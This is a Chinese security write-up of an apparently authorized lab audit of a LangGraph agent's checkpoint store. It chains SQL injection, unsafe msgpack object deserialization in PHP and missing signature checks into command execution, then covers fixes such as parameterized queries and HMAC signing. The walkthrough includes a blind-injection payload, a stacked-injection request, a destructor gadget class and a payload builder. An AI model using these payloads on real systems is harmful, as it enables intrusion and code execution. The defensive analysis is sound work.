如果你问我做大模型 Agent 应用时最容易忽略的攻击面在哪我的答案不是提示词注入也不是工具调用权限配置而是那个看起来人畜无害的 Checkpointer——Agent 的记忆层。最近我在审计一个基于 LangGraph 的客服机器人项目时把 SQL 注入、msgpack 反序列化、缺失完整性校验这三个问题串在一起最终在目标机器上拿到了 shell。整个过程拆开看就是一句话LangGraph 的 Checkpointer 把 Agent 的对话状态存进了 PostgreSQL业务代码又用最偷懒的方式把它读出来结果“记忆回放”变成了一段完全可控的代码执行。这篇文章把这些漏洞完整拆给你看它适合 Agent 应用开发者、AI 基础设施工程师、以及做应用安全审计的人阅读。我会把攻击链的每一环是怎么被打开的、为什么开放、以及拿到 shell 的完整路径讲清楚。你可以把它当成一次授权环境下的安全测试实录也可以当成一份 LangGraph Checkpointer 的防御自查手册。1. 先把背景补掉LangGraph Checkpointer 到底在干什么在讨论漏洞之前得先弄明白 Checkpointer 在整套 Agent 架构里的位置。很多开发者用了 LangGraph 很久但对这一块的理解停留在“它帮我存了聊天记录”这个层面。实际上它做的远不止这些。1.1 Agent 的“存档点”长什么样LangGraph 的核心是一张状态图。你用StateGraph定义节点Node和边EdgeAgent 每执行一步都会把当前的 State 传给下一个节点。这里的 State 不只是对话消息还包括工具调用的中间结果、等待用户确认的挂起操作、分支路由的上下文等等。Checkpointer 就是这张状态图的存档系统——每走一步它就把当前 State 完整保存下来并关联到一个全局唯一的thread_id上。你可以把它类比成单机游戏里的存档位。玩家Agent打了一半 BOSS执行多步工具调用中途需要退出或者等待外部输入下次回来从存档点继续打。LangGraph 的interrupt和 human-in-the-loop 机制都依赖这个能力。没有 CheckpointerAgent 一断连就失忆这在真实业务里基本不可用。官方提供了多个后端实现比如MemorySaver内存版重启即失忆、PostgresSaverPostgreSQL 持久化版、RedisSaver等。生产环境最常用的是 PostgreSQL 版本。它底层就是一张checkpoints表核心字段包括thread_id、checkpoint_ns、checkpoint_id、checkpoint、metadata。checkpoint字段里放的是序列化之后的完整图状态。这就是问题开始的地方。状态数据存哪里、用什么格式存、读出来之后怎么处理这三个选择直接决定攻击面的大小。1.2 为什么记忆层最容易被人无视我在这个项目里看到的情况和大多数 Agent 应用一样开发团队把大量精力花在提示词设计、模型选型、工具调用链的调优上但没有人认真审过 Checkpointer 这条数据通路。原因很简单开发者对它有天然的信任感。这条链路里有三个默认假设第一数据库内容可信不会被外部数据污染第二数据库返回的数据可信不经过额外处理就可以直接还原成对象第三能连上数据库的人都是可信的。这三个假设在真实系统里通常全部不成立。而这个记忆层在整套系统里的权限位置又特别高。它能拿到 Agent 的全部状态包括系统 Prompt、工具调用记录、内部变量、甚至某些业务敏感字段。一旦从记忆层突破等于直接潜入 Agent 的“大脑”。更麻烦的是整个链路在业务代码里是隐形的没有多少人会主动去审计它。1.3 攻击面图谱三洞连起来看这个项目的漏洞不是单一某一行代码的问题而是整条信任链上的三个薄弱点被串联利用。我整理了一张表方便你建立整体认知漏洞编号所在层触发点核心危害洞一SQL 查询层thread_id参数拼接进 SQL 语句写入恶意数据、读取敏感状态洞二反序列化层checkpoint 字节被直接 msgpack 还原对象注入、gadget 链触发、命令执行洞三完整性校验层整个存储链路没有签名/校验机制让前两个洞可以稳定利用无感知覆盖状态三个洞单独拿出来都很常见但它们通过 Agent 记忆层连起来之后就不是“Web 漏洞三件套”那么简单了。下面我会逐个拆开讲。2. 三洞连爆拆解每一环是怎么被打开的这一节是核心。我会从漏洞根因、为什么会产生、以及攻击者视角怎么利用三个角度来拆尽量还原真实场景里的技术细节。2.1 洞一thread_id 随手拼进 SQL先说第一个洞。LangGraph 官方提供的PostgresSaver在读写 checkpoints 表时用的是参数化查询这是安全的。但问题出在团队的自定义适配层上。这个客服项目里开发团队为了把thread_id和业务工单表、用户表做关联查询基于BaseCheckpointSaver写了一套自定义实现为了省事直接在 SQL 里做字符串拼接。最典型的危险代码长这样class RawSqlPostgresSaver(BaseCheckpointSaver): def get_tuple(self, config): thread_id config[configurable][thread_id] conn psycopg.connect(self.dsn) cur conn.cursor() cur.execute( fSELECT checkpoint, metadata FROM checkpoints fWHERE thread_id {thread_id} fORDER BY checkpoint_id DESC LIMIT 1 ) row cur.fetchone() if row is None: return None return self.deserialize_checkpoint(row[0])thread_id来自哪里它通常取的是 HTTP 请求里的路径参数、WebSocket 消息体里的字段或者前端登录后传过来的会话 ID。这些全部是攻击者可以直接控制的外部输入。一个单引号打进去整条 SQL 的执行逻辑就变了。检测这个注入点非常容易。你往thread_id里塞一个单引号接口大概率会 500紧接着用时间盲注验证一下x AND 1(SELECT 1 FROM pg_sleep(5))--如果请求耗时从几十毫秒变成 5 秒注入点就实锤了。PostgreSQL 的堆叠注入在 psycopg2 的默认配置下是支持的这意味着攻击者可以在同一条连接里连续执行多条 SQL不光是读数据还能写数据。这也是整条攻击链的第一个支点。它让攻击者获得了对checkpoints表的一定程度的写入能力——而这张表里存的东西马上就会进入第二个洞的触发范围。注意这里的漏洞场景不是官方 SDK 自带的问题而是自定义 Checkpointer 实现时的常见安全缺陷。但标题为什么说是 LangGraph Checkpointer 三洞连爆因为只要你的项目基于 LangGraph 的 Checkpointer 扩展了业务逻辑就很可能亲手把这个洞带进来。2.2 洞二msgpack 不可信反序列化拿到 SQL 写权限之后下一步要看 Checkpointer 怎么处理数据库里读出来的数据。这个项目使用的不是官方默认的 JSON 序列化而是 msgpack。先说 msgpack 是什么。它是一个高效的二进制序列化格式官方定位是“像 JSON但更快更小”。它支持字符串、整数、数组、Map、二进制数据还支持扩展类型ext。跨语言特性很好Python 写出来的数据PHP、Go、Java 都能解。很多团队在搞跨语言状态共享时会选它。但正是这种“它只是另一种 JSON”的观感埋了雷。JSON 反序列化之后你最多得到一个 dict而 msgpack 在某些语言和配置下解出来的是一个一个的具体对象。如果代码在反序列化时注册了对象工厂或者 ext hook攻击者就可以通过在二进制数据里指定类名和属性让程序在还原数据时实例化一个完全受控的对象。这个项目的 PHP 适配层代码大致长这样$unpacker new MessagePackUnpacker(); $unpacker-setObjectHandler(function (string $class, array $props) { return new $class(...$props); }); $state $unpacker-unpack($checkpointBytes);注意这行new $class(...$props)。$class和$props全部来自数据库里的二进制字节。如果数据库内容可以被 SQL 注入改写那么这一行代码就是一个制造任意对象的工厂。攻击者只需要找到一个在构造或析构时会执行危险操作的类就能完成从“对象创建”到“命令执行”的跨越。PHP 的__destruct魔术方法会在对象销毁时自动触发如果某个类的析构函数里调用了pcntl_exec、system、shell_exec这类函数那整条链就直接打通了。我自己在这个演示环境里写了一个最简化的“恶意类”class MemoryBlock { public string $cmd; public function __destruct() { if (function_exists(pcntl_exec)) { pcntl_exec(/bin/sh, [-c, $this-cmd]); } } }真实项目里不会这么刻意你会去项目自身代码里找可用的 POP 链面向属性编程的 gadget 链效果是一样的只是绕的弯子更多。但我特意在演示里用这个类是为了让你直观看到msgpack - 对象实例化 - 析构 - 命令执行这条路径有多么直接。很多人的第一反应是msgpack 不是不能执行代码吗这就是它比 pickle 更阴险的地方。看到pickle.loads的时候稍微有点经验的人都会警觉因为 pickel 的危险人人皆知但 msgpack 看起来太无害了它不触发eval、不带exec给人的感觉就是一个普通的二进制封装格式。实际上一旦配合对象工厂它就是一条标准的反序列化 gadget 链入口。这和 ASP.NET ViewState 反序列化漏洞是同一个逻辑加密或者签名没做好攻击者一改数据反序列化器就成了 RCE 的跳板。2.3 洞三缺失签名校验第三个洞是整条链上的放大器。它不是一个独立的技术点而是一个“缺了的东西”——完整性校验。官方 Postgres Checkpointer 的设计思路其实是我信任数据库里的 checkpoint 是我自己写的别人不会去改。所以在读取时直接反序列化不做二次校验。但在攻击者已经通过 SQL 注入获得写权限的前提下这个信任假设就彻底崩了。ASP.NET 的 ViewState 有一个经典设计默认启用 MAC 校验消息认证码。服务器写入 ViewState 时会带上一个用密钥计算的签名读取时先验签再反序列化。这样即使攻击者能修改数据校验也过不了。LangGraph 生态里目前没有一个官方的成熟方案来给 checkpoint 数据做类似的完整性保护。结果就是攻击者往数据库里写一条恶意 checkpoint应用在恢复会话时读到这条数据会乖乖地把里面的字节流反序列化成对象完全不问一句“这数据是不是我自己写的”。更麻烦的是这种“覆盖状态”的攻击手法还非常隐蔽。攻击者不需要删除任何数据只需要把某个thread_id的最新checkpoint_id改成自己伪造的那条。用户下次打开历史会话或者 Agent 恢复挂起任务时恶意状态就这么自然地被加载了。整个过程没有任何报错安全设备也很难从流量层面看出问题因为攻击者根本没有通过 HTTP 直接发送恶意序列化数据恶意字节是藏在数据库里的。2.4 攻击链全景串联把三个洞连起来看整条攻击链是这样的攻击者从一个普通的会话请求里取出可控参数thread_id。通过时间盲注确认 SQL 注入点再利用堆叠注入往checkpoints表插入一条伪造状态记录checkpoint字段里放的是精心构造的 msgpack 二进制。恶意 msgpack 数据里指定了要实例化的目标类名和攻击者控制的属性值。用户或者自动化任务重新打开这个历史会话应用层从数据库读出被污染的 checkpoint。自研适配层调用 msgpack 反序列化实例化了恶意对象。恶意对象在析构时执行系统命令RCE 完成。这条链里每个洞的单独利用率都不算高但连接起来之后危害是“1113”的。SQL 注入解决了写入问题反序列化解决了执行问题缺失签名保证了整个过程畅通无阻。3. 实操复现把三个洞串起来下面这一段是完整的复现过程。再次强调所有操作都在我本地 Docker 环境里完成目标机器是自建的实验环境。看这一部分的时候请以防御者的思路去理解整条链路不要把它当成攻击手册。3.1 环境搭建我用的环境是一个简化的微服务拓扑总共两个容器。Postgres 15存 LangGraph 的checkpoints表。PHP-FPM 业务网关负责处理用户会话恢复接口通过自定义适配层读 Postgres用msgpack还原 Agent 状态。Python 侧的 LangGraph worker 负责写 checkpoint写入时用msgpack打包PHP 侧恢复时用MessagePackUnpacker解包。这是为了模拟真实项目里常见的跨语言协作场景——团队用 Python 写 Agent但业务网关是 PHP必须共享同一份状态数据。数据库初始化大概长这样CREATE TABLE checkpoints ( thread_id TEXT NOT NULL, checkpoint_ns TEXT NOT NULL DEFAULT , checkpoint_id TEXT NOT NULL, parent_checkpoint_id TEXT, checkpoint BYTEA, metadata JSONB, PRIMARY KEY (thread_id, checkpoint_ns, checkpoint_id) );注意checkpoint字段用了BYTEA因为存的是 msgpack 二进制。3.2 第一步SQL 注入写入恶意 checkpoint先模拟攻击者调用会话恢复接口POST /session/resume HTTP/1.1 Content-Type: application/json {thread_id: origin-001; INSERT INTO checkpoints (thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, checkpoint, metadata) VALUES (evil, , 10000000-0000-0000-0000-000000000001, NULL, DECODE(HEX_PAYLOAD, hex), {}::jsonb) ON CONFLICT DO NOTHING; --}这里有几个关键点第一DECODE(HEX_PAYLOAD, hex)是把 msgpack 二进制以 hex 形式塞进 BYTEA 字段的标准做法。PostgreSQL 的 BYTEA 输入接受\x前缀的十六进制也接受DECODE函数转换。第二ON CONFLICT DO NOTHING是为了避免主键冲突导致整条 SQL 失败。第三psycopg2 的默认连接配置下一条execute是可以执行多条语句的只要语句之间用分号分隔。这个特性一般没人主动关掉成了堆叠注入的帮凶。如果你的连接层不允许堆叠查询攻击路径也不会断攻击者可以用UNION SELECT把恶意数据拼到正常的查询结果里然后在应用层找另一个写入点。但堆叠注入确实是最直接的方式。3.3 第二步构造恶意的 msgpack checkpoint在攻击机上用 Python 构造 payload。这里我暂时用一个极简的目标类来做演示方便你理解二进制层面的构造过程。import msgpack evil_payload msgpack.packb({ config: { tags: [ { __php_class: MemoryBlock, cmd: id /tmp/pwned } ] }, channel_values: { messages: [ {role: user, content: please resume}, {role: assistant, content: ok, let me restore state} ] } }, use_bin_typeTrue) print(evil_payload.hex())关键的字段就是__php_class和cmd。__php_class指定反序列化时要实例化的类名cmd是要执行的命令。真实利用中你不会直接把命令写在这么显眼的位置通常会把命令拆成多个参数塞进对象属性里再通过一条复杂的 gadget 链触发执行但原理一致。把这个 hex 字符串填充到上一节的HEX_PAYLOAD位置SQL 注入的请求就算构造完成。3.4 第三步恢复会话触发反序列化与命令执行这时候攻击者不需要再做什么。只要系统里有用户或者定时任务去打开evil这个会话或者原本绑定了origin-001用户的历史会话PHP 业务网关就会执行以下操作用thread_id去查 checkpoints 表读取checkpoint字段的二进制字节调用MessagePackUnpacker反序列化反序列化过程创建了MemoryBlock对象请求结束、对象销毁时__destruct被触发pcntl_exec执行了id /tmp/pwned。验证方式也简单在 PHP 容器里查看cat /tmp/pwned如果输出里有www-data之类的当前用户身份信息说明命令已经成功执行。这个演示用了最简单的“写文件”验证实战中可以换成反弹 shell、写 webshell、或者执行系统命令做横向移动取决于目标环境的网络策略和权限。3.5 验证与排查办法复现完之后站在防御者的角度检查环境你会看到几个明显的痕迹checkpoints表里多了一条thread_id evil的记录checkpoint_id是一个看起来很不自然的 UUID。Postgres 慢查询日志里有一条超长的多语句 SQL。PHP-FPM 的访问日志里/session/resume接口的请求体里包含大量十六进制字符串。目标容器里多出了/tmp/pwned文件。用 SQL 排查也很直观SELECT thread_id, checkpoint_id, length(checkpoint) AS len FROM checkpoints ORDER BY checkpoint_id DESC LIMIT 5;如果发现thread_id或checkpoint_id有异常值或者len明显不符合正常 Agent 状态的大小范围就需要立刻标记为可疑。4. 踩坑实录与排查技巧我在审计这个项目的过程中有几个判断差点被带偏。这里整理出来希望能帮你少走弯路。4.1 审计时最先看的三个位置第一是自定义的BaseCheckpointSaver子类。官方实现不是审计重点项目里自己写的那些“扩展”才是重点看它有没有用参数化 SQL特别是get_tuple、put这些入口方法。第二是thread_id和user_id的数据来源。别看它长得像内部标识它可能直接来自请求头、URL 路径、Cookie、或者 WebSocket 消息。所有从外部进入 Checkpointer 配置的字段通通要当成不可信输入。第三是反序列化代码。搜索项目里所有调用msgpack.unpackb、MessagePackUnpacker、unserialize的地方逐个确认这些数据在反序列化之前有没有经过格式校验和完整性校验。4.2 容易误判的几个点有个朋友看完我的初步分析后说“LangGraph 官方 PostgresSaver 没有这个洞啊。”对官方实现确实是安全的参数化查询做得很好。但这个项目的洞在自研适配层它面向的是用户底层存的是同一张表接口行为和官方 Checkpointer 没有任何区别。所以你在审计时不能只盯官方包的源码要盯“谁在读写你的 checkpoints 表”。还有一个容易误判的地方很多人默认“JSON 反序列化是安全的msgpack 才是危险的”。其实如果是不可信数据JSON 也不安全只不过它带来的通常是逻辑绕过、越权访问这类问题而 msgpack 在开了对象工厂之后直接就是代码执行。关键是“不可信”这三个字而不是具体格式。第三个误判点是“数据库在防火墙后面外面的人打不到”。但这个项目里的注入入口是业务接口已经穿透了网络层。数据库在网络拓扑里的位置只是增加了攻击难度没有根除风险。4.3 常见问题速查表现象根因处置建议thread_id传单引号后接口 500SQL 字符串拼接导致语法错误改用参数化查询全局禁止字符串拼接 SQL请求耗时稳定增加 5 秒PostgreSQL 时间盲注验证成功立即排查入口参数WAF 临时拦截注入特征历史会话恢复时 PHP 进程 CPU 飙升或执行了未知命令msgpack 反序列化触发了 gadget 链禁用 object handler反序列化前做 HMAC 验签checkpoints 表出现未知thread_id或畸形checkpoint_id堆叠注入写入数据库账号降权关闭multi statement支持攻击者无需保持会话也能拿到命令执行结果恶意对象在正常请求结束后析构触发修复后清理恶意数据全量审计记忆表5. 修复与加固从“能打”到“打不动”复现到这一步修复方案已经很清晰了。我把整个项目的加固过程分成四层每一层都对应前面拆出来的漏洞。5.1 封住入口SQL 层修复先用参数化查询替换所有字符串拼接。还是那一段get_tuple改后应该是这样def get_tuple(self, config): thread_id config[configurable][thread_id] conn psycopg.connect(self.dsn) cur conn.cursor() cur.execute( SELECT checkpoint, metadata FROM checkpoints WHERE thread_id %s ORDER BY checkpoint_id DESC LIMIT 1, (thread_id,) ) row cur.fetchone() if row is None: return None return self.deserialize_checkpoint(row[0])参数化之后thread_id永远只是数据不可能被解析成 SQL 结构。同时给 Postgres 连接设置options-c session_preload_libraries这类收紧措施并确保checkpoints表使用的数据库账号只有 SELECT、INSERT、UPDATE 权限没有 DDL 权限。有条件的话把连接层的多语句支持关掉。psycopg2 连接时可以在 DSN 里设置参数限制或者在产品代码里扫描 SQL 是否包含分号。5.2 关掉反序列化器msgpack 安全使用首选方案是完全不用 msgpack 处理不可信数据改回官方默认的 JSON 存储并对 JSON 做 schema 校验。JSON 反序列化拿到的只是普通字典不会自动实例化任意类攻击面会小很多。如果因为性能或者跨语言要求必须保留 msgpack那就必须做到两条绝对不要给unpack传object_hook、ext_hook或者 PHP 里的setObjectHandler只用它还原纯数据数组、字符串、数字任何需要还原成对象的字段都单独走白名单校验。安全与便利的平衡点在于反序列化器只负责“拆包”不负责“造对象”。造对象这件事必须交给显式编码的工厂函数而且只能实例化项目里明确允许的少数几个类。5.3 加上完整性校验给记忆层签名这是对第三个洞的直接修复思路。给每个 checkpoint 增加 HMAC 签名签名用的密钥放在独立密钥管理系统里不要让业务服务直接访问数据库明文的同时还能验签。示意逻辑是这样import hashlib import hmac SECRET_KEY byour-32-byte-secret def sign_checkpoint(raw_bytes: bytes) - str: return hmac.new(SECRET_KEY, raw_bytes, hashlib.sha256).hexdigest() def verify_checkpoint(raw_bytes: bytes, signature: str) - bool: expected hmac.new(SECRET_KEY, raw_bytes, hashlib.sha256).hexdigest() return hmac.compare_digest(expected, signature)写入时把签名放进 metadata 字段读取时先验签再反序列化。验签失败的记录直接丢弃并告警。这样即使攻击者通过 SQL 注入往表里塞了恶意数据应用层也不会执行因为签名对不上。这套思路其实就是 ASP.NET ViewState 默认的 MAC 机制只是把同样的原则搬到了 Agent 的记忆层。5.4 纵深防御清单最后给一份完整的加固清单建议按顺序逐条落实升级官方的langgraph-checkpoint-postgres到最新版本优先使用官方实现少自研所有用thread_id拼接 SQL 的代码全部重构为参数化查询msgpack 反序列化禁止实例化任意类禁止注册通用 object handlercheckpoint 数据增加 HMAC 签名密钥独立管理Postgres 使用独立账号权限最小化禁止应用账号执行 DDL对checkpoints表增加变更审计记录每条新记录的写入时间、来源 IP、应用进程 ID在业务网关里对thread_id做格式白名单校验例如只允许 UUID 或严格字母数字组合容器运行时打开系统调用过滤PHP-FPM 进程没必要时禁止pcntl_exec、exec、system等执行类函数。做完这七步即使某个环节还是被绕过攻击者也无法像这次一样一路畅通地拿到 shell。每一层的防御都会让整条链断掉一个关键环节。我在实际测试中最大的感触是这类问题的根因不全是技术而是“中间数据被当成内部数据”的惯性思维。Checkpointer 存储的 agent 状态本质上来源于不可信的对话输入、外部工具返回值、用户配置参数它从来不是干净的内部数据。只要把记忆层当成外部输入来设计很多洞从一开始就不会出现。最后再分享一个小技巧审计 Agent 类应用时别只盯着模型侧的提示词注入把checkpoints表、消息历史表、向量数据库里的用户会话数据都当成攻击面过一遍。数据从用户进来、存进存储、再被读出来反序列化的那一段路径往往才是最容易要命的地方。这个思路以后做任何带持久化状态的应用都同样适用。
阅读完成 · 觉得有帮助?